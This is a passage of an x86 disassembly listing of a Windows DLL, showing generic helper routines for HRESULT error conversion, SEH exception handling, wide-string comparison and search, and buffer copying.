sub_69B2E875	proc near		; CODE XREF: sub_69B3C634+10Dp
					; sub_69B3EBE4+110p ...
		push	ecx
		call	sub_69B2E834
		retn
sub_69B2E875	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E87C	proc near		; CODE XREF: sub_69B1DAA0:loc_69B1DAD2p
					; sub_69B17F2C:loc_69B22BC8p ...
		push	dwTlsIndex
		call	dword_69B92970
		cmp	byte ptr [eax+1Bh], 0
		jnz	short locret_69B2E8A1
		mov	eax, dword_69B95A04
		test	eax, eax
		jz	short loc_69B2E89A
		push	eax
		jmp	short loc_69B2E89C
; ---------------------------------------------------------------------------


loc_69B2E89A:				; CODE XREF: sub_69B2E87C+19j
		push	0


loc_69B2E89C:				; CODE XREF: sub_69B2E87C+1Cj
		call	sub_69B2E834

locret_69B2E8A1:			; CODE XREF: sub_69B2E87C+10j
		retn
sub_69B2E87C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E8A2	proc near		; CODE XREF: sub_69B4BD17+6A3p
					; sub_69B61B50+9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_0]
		push	[esp+4+arg_4]
		call	sub_69B1D342
		push	eax
		call	sub_69B2E834
		retn	8
sub_69B2E8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E8B8	proc near		; CODE XREF: sub_69B1B814+84ABp
					; sub_69B1B814+84C4p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_69B1D342
		push	eax
		call	sub_69B2E834
		retn	4
sub_69B2E8B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E8CC	proc near		; CODE XREF: sub_69B3E0AB+53p
					; sub_69B57011+16p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		push	esi
		lea	eax, [esp+4+arg_C]
		push	eax
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		call	sub_69B2F72E
		push	24h
		mov	esi, eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B2E8F6
		push	esi
		mov	ecx, eax
		call	sub_69B1D366
		jmp	short loc_69B2E8F8
; ---------------------------------------------------------------------------


loc_69B2E8F6:				; CODE XREF: sub_69B2E8CC+1Ej
		xor	eax, eax


loc_69B2E8F8:				; CODE XREF: sub_69B2E8CC+28j
		mov	ecx, [esp+4+arg_0]
		mov	[eax+8], ecx
		pop	esi
		retn
sub_69B2E8CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E901	proc near		; CODE XREF: sub_69B8B17B+4Ap
					; sub_69B8B35A+98p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B1D342
		mov	ecx, [esp+arg_8]
		mov	[eax+18h], ecx
		mov	ecx, [esp+arg_C]
		push	eax
		mov	[eax+1Ch], ecx
		call	sub_69B2E834
		retn	10h
sub_69B2E901	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E925	proc near		; CODE XREF: sub_69B1CA7C:loc_69B1CBBAp
					; sub_69B1CA7C:loc_69B22CDFp ...
		push	esi
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jg	short loc_69B2E936
		call	esi ; GetLastError
		jmp	short loc_69B2E942
; ---------------------------------------------------------------------------


loc_69B2E936:				; CODE XREF: sub_69B2E925+Bj
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h


loc_69B2E942:				; CODE XREF: sub_69B2E925+Fj
		push	eax
		call	sub_69B2E8B8
		pop	esi
		retn
sub_69B2E925	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E94A	proc near		; CODE XREF: sub_69B22907+3p
					; sub_69B2298B+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	edi
		mov	edi, [eax]
		cmp	dword ptr [edi], 0C0000005h
		jnz	short loc_69B2E95D
		xor	eax, eax
		jmp	short loc_69B2E9CC
; ---------------------------------------------------------------------------


loc_69B2E95D:				; CODE XREF: sub_69B2E94A+Dj
		push	esi
		push	dwTlsIndex
		call	dword_69B92970
		mov	edi, [edi]
		cmp	edi, 0E0000001h
		mov	esi, eax
		jnz	short loc_69B2E989
		mov	eax, [esi+38h]
		test	eax, eax
		jz	short loc_69B2E982
		mov	edi, [eax+8]
		jmp	short loc_69B2E9C5
; ---------------------------------------------------------------------------


loc_69B2E982:				; CODE XREF: sub_69B2E94A+31j
		mov	edi, 80004005h
		jmp	short loc_69B2E9C5
; ---------------------------------------------------------------------------


loc_69B2E989:				; CODE XREF: sub_69B2E94A+2Aj
		push	ebx
		mov	bl, [esi+1Bh]
		push	ebp
		push	24h
		mov	byte ptr [esi+1Bh], 1
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B2E9AD
		push	offset off_69B1A5AC
		mov	ecx, eax
		call	sub_69B1D366
		mov	ebp, eax
		jmp	short loc_69B2E9AF
; ---------------------------------------------------------------------------


loc_69B2E9AD:				; CODE XREF: sub_69B2E94A+51j
		xor	ebp, ebp


loc_69B2E9AF:				; CODE XREF: sub_69B2E94A+61j
		push	ebp
		lea	eax, [esi+38h]
		push	eax
		mov	[esi+1Bh], bl
		call	sub_69B17320
		test	ebp, ebp
		jz	short loc_69B2E9C3
		mov	[ebp+8], edi


loc_69B2E9C3:				; CODE XREF: sub_69B2E94A+74j
		pop	ebp
		pop	ebx


loc_69B2E9C5:				; CODE XREF: sub_69B2E94A+36j
					; sub_69B2E94A+3Dj
		xor	eax, eax
		mov	[esi+34h], edi
		inc	eax
		pop	esi


loc_69B2E9CC:				; CODE XREF: sub_69B2E94A+11j
		pop	edi
		retn	4
sub_69B2E94A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E9D0	proc near		; CODE XREF: sub_69B14EAC+55p
					; sub_69B20F54+ACp ...
		push	0Ch
		push	offset dword_69B2EA20
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_69B2F72E
		mov	[ebp-1Ch], eax
		jmp	short loc_69B2EA02
; ---------------------------------------------------------------------------


loc_69B2E9F4:				; DATA XREF: .text:69B2EA24o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2E9FD:				; DATA XREF: .text:69B2EA28o
		mov	esp, [ebp-18h]
		xor	eax, eax


loc_69B2EA02:				; CODE XREF: sub_69B2E9D0+22j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_69B1D342
		push	eax
		call	sub_69B2E834
		call	sub_69B1853C
		retn
sub_69B2E9D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B2EA20	dd 0FFFFFFFFh			dd offset loc_69B2E9F4
		dd offset loc_69B2E9FD

; =============== S U B	R O U T	I N E =======================================



sub_69B2EA2C	proc near		; DATA XREF: .text:69B1D3CCo
		push	1Ch
		push	offset dword_69B2EAB0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		mov	eax, [edi]
		mov	[ebp-2Ch], eax
		test	eax, eax
		jnz	short loc_69B2EA70
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B2EA70
		push	eax
		call	sub_69B1D411
		push	eax
		mov	ecx, edi
		call	sub_69B199CC


loc_69B2EA70:				; CODE XREF: sub_69B2EA2C+2Dj
					; sub_69B2EA2C+34j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B2EA96
; ---------------------------------------------------------------------------


loc_69B2EA76:				; DATA XREF: .text:69B2EAB4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2EA7F:				; DATA XREF: .text:69B2EAB8o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B2EA96:				; CODE XREF: sub_69B2EA2C+48j
		mov	esi, [esi+0Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		mov	eax, esi
		call	sub_69B1853C
		retn
sub_69B2EA2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B2EAB0	dd 0FFFFFFFFh			dd offset loc_69B2EA76
		dd offset loc_69B2EA7F

; =============== S U B	R O U T	I N E =======================================



sub_69B2EABC	proc near		; CODE XREF: sub_69B3E947+54p
					; sub_69B4E634+312p
		push	18h
		push	offset dword_69B2EB58
		call	sub_69B19C5C
		mov	esi, ecx
		cmp	esi, dword_69B95A04
		jz	short loc_69B2EB49
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B1B42A
		mov	edi, eax
		mov	ecx, esi
		call	sub_69B1B42A
		cmp	edi, eax
		jz	short loc_69B2EB04
		mov	ecx, [ebp+8]
		call	sub_69B2F12E
		mov	[ebp+8], eax


loc_69B2EB04:				; CODE XREF: sub_69B2EABC+3Bj
		add	esi, 0Ch
		mov	eax, [esi]
		mov	[ebp-28h], eax
		push	0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_69B2F2CA
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		call	sub_69B199CC
		jmp	short loc_69B2EB3D
; ---------------------------------------------------------------------------


loc_69B2EB24:				; DATA XREF: .text:69B2EB5Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2EB2D:				; DATA XREF: .text:69B2EB60o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-24h]
		call	sub_69B2D599
		call	sub_69B2E860


loc_69B2EB3D:				; CODE XREF: sub_69B2EABC+66j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-24h]
		call	sub_69B1976C


loc_69B2EB49:				; CODE XREF: sub_69B2EABC+14j
		call	sub_69B1853C
		retn	4
sub_69B2EABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B2EB58	dd 0FFFFFFFFh			dd offset loc_69B2EB24
		dd offset loc_69B2EB2D

; =============== S U B	R O U T	I N E =======================================



sub_69B2EB64	proc near		; CODE XREF: sub_69B3E374+63p
		push	18h
		push	offset dword_69B2EC00
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		cmp	esi, dword_69B95A04
		jz	short loc_69B2EBF1
		cmp	dword ptr [ebp+8], 0
		jz	short loc_69B2EBE5
		mov	ecx, [ebp+8]
		call	sub_69B1B42A
		mov	edi, eax
		mov	ecx, esi
		call	sub_69B1B42A
		cmp	edi, eax
		jz	short loc_69B2EBE5
		mov	ecx, esi
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B2F12E
		mov	[ebp+8], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B2EBDD
; ---------------------------------------------------------------------------


loc_69B2EBBD:				; DATA XREF: .text:69B2EC04o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2EBC6:				; DATA XREF: .text:69B2EC08o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B2EBDD:				; CODE XREF: sub_69B2EB64+57j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C


loc_69B2EBE5:				; CODE XREF: sub_69B2EB64+1Dj
					; sub_69B2EB64+32j
		push	dword ptr [ebp+8]
		add	esi, 14h
		push	esi
		call	sub_69B17320


loc_69B2EBF1:				; CODE XREF: sub_69B2EB64+17j
		call	sub_69B1853C
		retn	4
sub_69B2EB64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B2EC00	dd 0FFFFFFFFh			dd offset loc_69B2EBBD
		dd offset loc_69B2EBC6

; =============== S U B	R O U T	I N E =======================================



sub_69B2EC0C	proc near		; CODE XREF: sub_69B3E374+ABp
					; sub_69B3E374+BAp ...
		push	18h
		push	offset dword_69B2ECA8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		cmp	esi, dword_69B95A04
		jz	short loc_69B2EC99
		cmp	dword ptr [ebp+8], 0
		jz	short loc_69B2EC8D
		mov	ecx, [ebp+8]
		call	sub_69B1B42A
		mov	edi, eax
		mov	ecx, esi
		call	sub_69B1B42A
		cmp	edi, eax
		jz	short loc_69B2EC8D
		mov	ecx, esi
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		call	sub_69B2F12E
		mov	[ebp+8], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B2EC85
; ---------------------------------------------------------------------------


loc_69B2EC65:				; DATA XREF: .text:69B2ECACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2EC6E:				; DATA XREF: .text:69B2ECB0o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-28h]
		call	sub_69B2D599
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B2EC85:				; CODE XREF: sub_69B2EC0C+57j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C


loc_69B2EC8D:				; CODE XREF: sub_69B2EC0C+1Dj
					; sub_69B2EC0C+32j
		push	dword ptr [ebp+8]
		add	esi, 10h
		push	esi
		call	sub_69B17320


loc_69B2EC99:				; CODE XREF: sub_69B2EC0C+17j
		call	sub_69B1853C
		retn	4
sub_69B2EC0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B2ECA8	dd 0FFFFFFFFh			dd offset loc_69B2EC65
		dd offset loc_69B2EC6E

; =============== S U B	R O U T	I N E =======================================



sub_69B2ECB4	proc near		; CODE XREF: sub_69B2F43C+1Bp
					; sub_69B2F43C+38p ...

arg_0		= word ptr  4

		movzx	eax, [esp+arg_0]
		mov	ecx, eax
		shr	ecx, 8
		mov	ecx, off_69B98030[ecx*4]
		and	eax, 0FFh
		movzx	eax, byte ptr [eax+ecx]
		and	eax, 1
		retn	4
sub_69B2ECB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2ECD4	proc near		; DATA XREF: .text:69B1F95Co
		mov	eax, offset off_69B2ECDC
		retn
sub_69B2ECD4	endp

; ---------------------------------------------------------------------------
		align 4
off_69B2ECDC	dd offset off_69B1888C	; DATA XREF: sub_69B2ECD4o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================



sub_69B2ECE4	proc near		; CODE XREF: sub_69B2EFDA+7p
					; sub_69B4AAFC+15Dp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		lea	eax, [ecx+8]
		push	eax
		push	dword ptr [ecx+0Ch]
		call	sub_69B310BE
		retn	4
sub_69B2ECE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2ECF7	proc near		; CODE XREF: sub_69B4D7A3+86p
					; sub_69B4D7A3+9Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ecx
		mov	ecx, [eax+8]
		cmp	ecx, [esp+arg_4]
		jle	short loc_69B2ED06
		mov	ecx, [esp+arg_4]


loc_69B2ED06:				; CODE XREF: sub_69B2ECF7+9j
		push	esi
		mov	esi, [eax+0Ch]
		push	edi
		mov	edi, [esp+8+arg_0]
		rep movsw
		pop	edi
		pop	esi
		retn	8
sub_69B2ECF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2ED17	proc near		; CODE XREF: sub_69B2CA1A+46p
					; sub_69B3694C+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]


loc_69B2ED20:				; CODE XREF: sub_69B2ED17+3Fj
		xor	eax, eax
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_69B2ED34
		cmp	ax, 41h
		lea	ecx, [eax+20h]
		jnb	short loc_69B2ED36


loc_69B2ED34:				; CODE XREF: sub_69B2ED17+12j
		mov	ecx, eax


loc_69B2ED36:				; CODE XREF: sub_69B2ED17+1Bj
		xor	eax, eax
		mov	ax, [esi]
		cmp	ax, 5Ah
		ja	short loc_69B2ED4A
		cmp	ax, 41h
		jb	short loc_69B2ED4A
		add	eax, 20h


loc_69B2ED4A:				; CODE XREF: sub_69B2ED17+28j
					; sub_69B2ED17+2Ej
		inc	edx
		inc	edx
		inc	esi
		inc	esi
		test	cx, cx
		jz	short loc_69B2ED58
		cmp	cx, ax
		jz	short loc_69B2ED20


loc_69B2ED58:				; CODE XREF: sub_69B2ED17+3Aj
		movzx	edx, ax
		movzx	eax, cx
		sub	eax, edx
		pop	esi
		retn	8
sub_69B2ED17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2ED64	proc near		; CODE XREF: sub_69B4D200+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	eax, eax
		cmp	[esp+arg_8], eax
		jz	short locret_69B2EDBC
		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]


loc_69B2ED75:				; CODE XREF: sub_69B2ED64+4Dj
		xor	eax, eax
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_69B2ED89
		cmp	ax, 41h
		lea	ecx, [eax+20h]
		jnb	short loc_69B2ED8B


loc_69B2ED89:				; CODE XREF: sub_69B2ED64+1Aj
		mov	ecx, eax


loc_69B2ED8B:				; CODE XREF: sub_69B2ED64+23j
		xor	eax, eax
		mov	ax, [esi]
		cmp	ax, 5Ah
		ja	short loc_69B2ED9F
		cmp	ax, 41h
		jb	short loc_69B2ED9F
		add	eax, 20h


loc_69B2ED9F:				; CODE XREF: sub_69B2ED64+30j
					; sub_69B2ED64+36j
		inc	edx
		inc	edx
		inc	esi
		inc	esi
		dec	[esp+4+arg_8]
		jz	short loc_69B2EDB3
		test	cx, cx
		jz	short loc_69B2EDB3
		cmp	cx, ax
		jz	short loc_69B2ED75


loc_69B2EDB3:				; CODE XREF: sub_69B2ED64+43j
					; sub_69B2ED64+48j
		movzx	edx, ax
		movzx	eax, cx
		sub	eax, edx
		pop	esi

locret_69B2EDBC:			; CODE XREF: sub_69B2ED64+6j
		retn	0Ch
sub_69B2ED64	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EDBF	proc near		; CODE XREF: sub_69B2F19F+Ep
					; sub_69B6699A+133p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, [ecx+8]
		jge	short loc_69B2EDD5
		test	eax, eax
		jl	short loc_69B2EDD5
		mov	ecx, [ecx+0Ch]
		mov	ax, [ecx+eax*2]
		jmp	short locret_69B2EDD8
; ---------------------------------------------------------------------------


loc_69B2EDD5:				; CODE XREF: sub_69B2EDBF+7j
					; sub_69B2EDBF+Bj
		xor	ax, ax

locret_69B2EDD8:			; CODE XREF: sub_69B2EDBF+14j
		retn	4
sub_69B2EDBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EDDB	proc near		; CODE XREF: sub_69B88E7C+13p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jl	short loc_69B2EDEC
		cmp	edi, [esi+8]
		jl	short loc_69B2EDF1


loc_69B2EDEC:				; CODE XREF: sub_69B2EDDB+Aj
		call	sub_69B2E6D8


loc_69B2EDF1:				; CODE XREF: sub_69B2EDDB+Fj
		lea	eax, [esi+edi*2+0Ch]
		pop	edi
		pop	esi
		retn	4
sub_69B2EDDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2EDFA(LPCWSTR lpString, int)

sub_69B2EDFA	proc near		; CODE XREF: sub_69B7C60C+70p
					; sub_69B8B9D9+ACp

lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+lpString],	0
		jz	short loc_69B2EE3D
		cmp	[ebp+arg_4], 0
		jz	short loc_69B2EE3D
		push	esi
		push	10h
		call	sub_69B17EF3
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2EE38
		cmp	[ebp+arg_4], 0
		jge	short loc_69B2EE28
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		jmp	short loc_69B2EE2B
; ---------------------------------------------------------------------------


loc_69B2EE28:				; CODE XREF: sub_69B2EDFA+21j
		mov	eax, [ebp+arg_4]


loc_69B2EE2B:				; CODE XREF: sub_69B2EDFA+2Cj
		push	eax
		push	[ebp+lpString]
		mov	ecx, esi
		call	sub_69B1F97C
		jmp	short loc_69B2EE3A
; ---------------------------------------------------------------------------


loc_69B2EE38:				; CODE XREF: sub_69B2EDFA+1Bj
		xor	eax, eax


loc_69B2EE3A:				; CODE XREF: sub_69B2EDFA+3Cj
		pop	esi
		jmp	short loc_69B2EE42
; ---------------------------------------------------------------------------


loc_69B2EE3D:				; CODE XREF: sub_69B2EDFA+7j
					; sub_69B2EDFA+Dj
		mov	eax, offset off_69B1A5AC


loc_69B2EE42:				; CODE XREF: sub_69B2EDFA+41j
		pop	ebp
		retn	8
sub_69B2EDFA	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2EE46(LPCWSTR lpStr2, int)

sub_69B2EE46	proc near		; CODE XREF: sub_69B2F13A+Cp
					; sub_69B75A0B+97p

lpStr2		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+8]
		jge	short loc_69B2EE5F
		push	[esp+8+lpStr2]	; lpString
		call	ds:lstrlenW	; lstrlenW


loc_69B2EE5F:				; CODE XREF: sub_69B2EE46+Dj
		cmp	edi, eax
		jle	short loc_69B2EE65
		mov	edi, eax


loc_69B2EE65:				; CODE XREF: sub_69B2EE46+1Bj
		mov	esi, [esi+0Ch]
		push	edi		; nChar
		push	[esp+0Ch+lpStr2] ; lpStr2
		push	esi		; lpStr1
		call	ds:StrCmpNW	; StrCmpNW
		pop	edi
		pop	esi
		retn	8
sub_69B2EE46	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B4ACFE


loc_69B2EE79:				; CODE XREF: sub_69B4ACFE+Dj
		mov	eax, [esp+arg_0]
		push	dword ptr [eax+10h]
		mov	edx, [ecx+8]
		push	dword ptr [eax+0Ch]
		mov	ecx, [ecx+0Ch]
		push	edx
		push	ecx
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		call	ds:SHLWAPI_45
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B4ACFE

; =============== S U B	R O U T	I N E =======================================



sub_69B2EE9A	proc near		; CODE XREF: sub_69B2F19F+2Ap
					; sub_69B6699A+613p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jge	short loc_69B2EEA4
		xor	eax, eax


loc_69B2EEA4:				; CODE XREF: sub_69B2EE9A+6j
		mov	edx, [ecx+0Ch]
		mov	ecx, [ecx+8]
		cmp	eax, ecx
		lea	edx, [edx+eax*2]
		jge	short loc_69B2EEC7
		push	esi


loc_69B2EEB2:				; CODE XREF: sub_69B2EE9A+26j
		movzx	esi, word ptr [edx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_69B2EEC2
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, ecx
		jl	short loc_69B2EEB2


loc_69B2EEC2:				; CODE XREF: sub_69B2EE9A+1Fj
		cmp	eax, ecx
		pop	esi
		jl	short locret_69B2EECA


loc_69B2EEC7:				; CODE XREF: sub_69B2EE9A+15j
		or	eax, 0FFFFFFFFh

locret_69B2EECA:			; CODE XREF: sub_69B2EE9A+2Bj
		retn	8
sub_69B2EE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EECD	proc near		; CODE XREF: sub_69B2F19F+48p
					; sub_69B66820+156p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		push	edi
		mov	edx, ecx
		jl	short loc_69B2EEFD
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+8]
		lea	ecx, [eax+esi]
		cmp	ecx, [edx+8]
		jg	short loc_69B2EEFD
		mov	edi, [edi+0Ch]
		lea	ecx, [eax+eax]
		mov	eax, [edx+0Ch]
		lea	esi, [eax+esi*2]
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B2EEFD
		inc	eax
		jmp	short loc_69B2EEFF
; ---------------------------------------------------------------------------


loc_69B2EEFD:				; CODE XREF: sub_69B2EECD+Aj
					; sub_69B2EECD+19j ...
		xor	eax, eax


loc_69B2EEFF:				; CODE XREF: sub_69B2EECD+2Ej
		pop	edi
		pop	esi
		retn	8
sub_69B2EECD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2EF04(LPCWSTR lpString)

sub_69B2EF04	proc near		; CODE XREF: sub_69B4A16C+75p
					; sub_69B4EE00:loc_69B4EE54p ...

lpString	= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+lpString]
		push	edi		; lpString
		mov	esi, ecx
		call	ds:lstrlenW	; lstrlenW
		test	edi, edi
		jz	short loc_69B2EF2C
		mov	ecx, [esi+8]
		cmp	ecx, eax
		jnz	short loc_69B2EF2C
		mov	esi, [esi+0Ch]
		add	ecx, ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_69B2EF2C
		inc	eax
		jmp	short loc_69B2EF2E
; ---------------------------------------------------------------------------


loc_69B2EF2C:				; CODE XREF: sub_69B2EF04+11j
					; sub_69B2EF04+18j ...
		xor	eax, eax


loc_69B2EF2E:				; CODE XREF: sub_69B2EF04+26j
		pop	edi
		pop	esi
		retn	4
sub_69B2EF04	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2EF33(LPCWSTR lpStr2)

sub_69B2EF33	proc near		; CODE XREF: sub_69B4A16C:loc_69B4A1E8p
					; sub_69B4EE00+24p ...

lpStr2		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+lpStr2]
		push	edi		; lpString
		mov	esi, ecx
		call	ds:lstrlenW	; lstrlenW
		test	edi, edi
		jz	short loc_69B2EF60
		mov	ecx, [esi+8]
		cmp	ecx, eax
		jnz	short loc_69B2EF60
		mov	esi, [esi+0Ch]
		push	ecx		; nChar
		push	edi		; lpStr2
		push	esi		; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B2EF60
		inc	eax
		jmp	short loc_69B2EF62
; ---------------------------------------------------------------------------


loc_69B2EF60:				; CODE XREF: sub_69B2EF33+11j
					; sub_69B2EF33+18j ...
		xor	eax, eax


loc_69B2EF62:				; CODE XREF: sub_69B2EF33+2Bj
		pop	edi
		pop	esi
		retn	4
sub_69B2EF33	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EF67	proc near		; CODE XREF: sub_69B14EAC+60p
					; sub_69B4AD10+19p ...
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+8]
		mov	edi, [esi+0Ch]
		push	edi
		call	sub_69B2FB5A
		sub	eax, edi
		sar	eax, 1
		sub	eax, [esi+8]
		pop	edi
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	esi
		retn
sub_69B2EF67	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EF86	proc near		; CODE XREF: sub_69B3D7B4+83p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B121D0
		mov	eax, esi
		pop	esi
		retn
sub_69B2EF86	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EF98	proc near		; DATA XREF: .text:69B1220Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ax, [eax]
		mov	ecx, [esp+arg_0]
		mov	[ecx], ax
		retn	8
sub_69B2EF98	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EFA9	proc near		; DATA XREF: .text:69B12208o
		push	2
		pop	eax
		retn
sub_69B2EFA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2EFAD	proc near		; CODE XREF: sub_69B8D901+2Bp
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+8]
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B1D897
		mov	ecx, [ebx+8]
		test	ecx, ecx
		jz	short loc_69B2EFD0
		push	esi
		mov	esi, [ebx+0Ch]
		push	edi
		mov	edi, eax
		rep movsw
		pop	edi
		pop	esi


loc_69B2EFD0:				; CODE XREF: sub_69B2EFAD+15j
		mov	ecx, [ebx+8]
		and	word ptr [eax+ecx*2], 0
		pop	ebx
		retn
sub_69B2EFAD	endp


; =============== S U B	R O U T	I N E =======================================



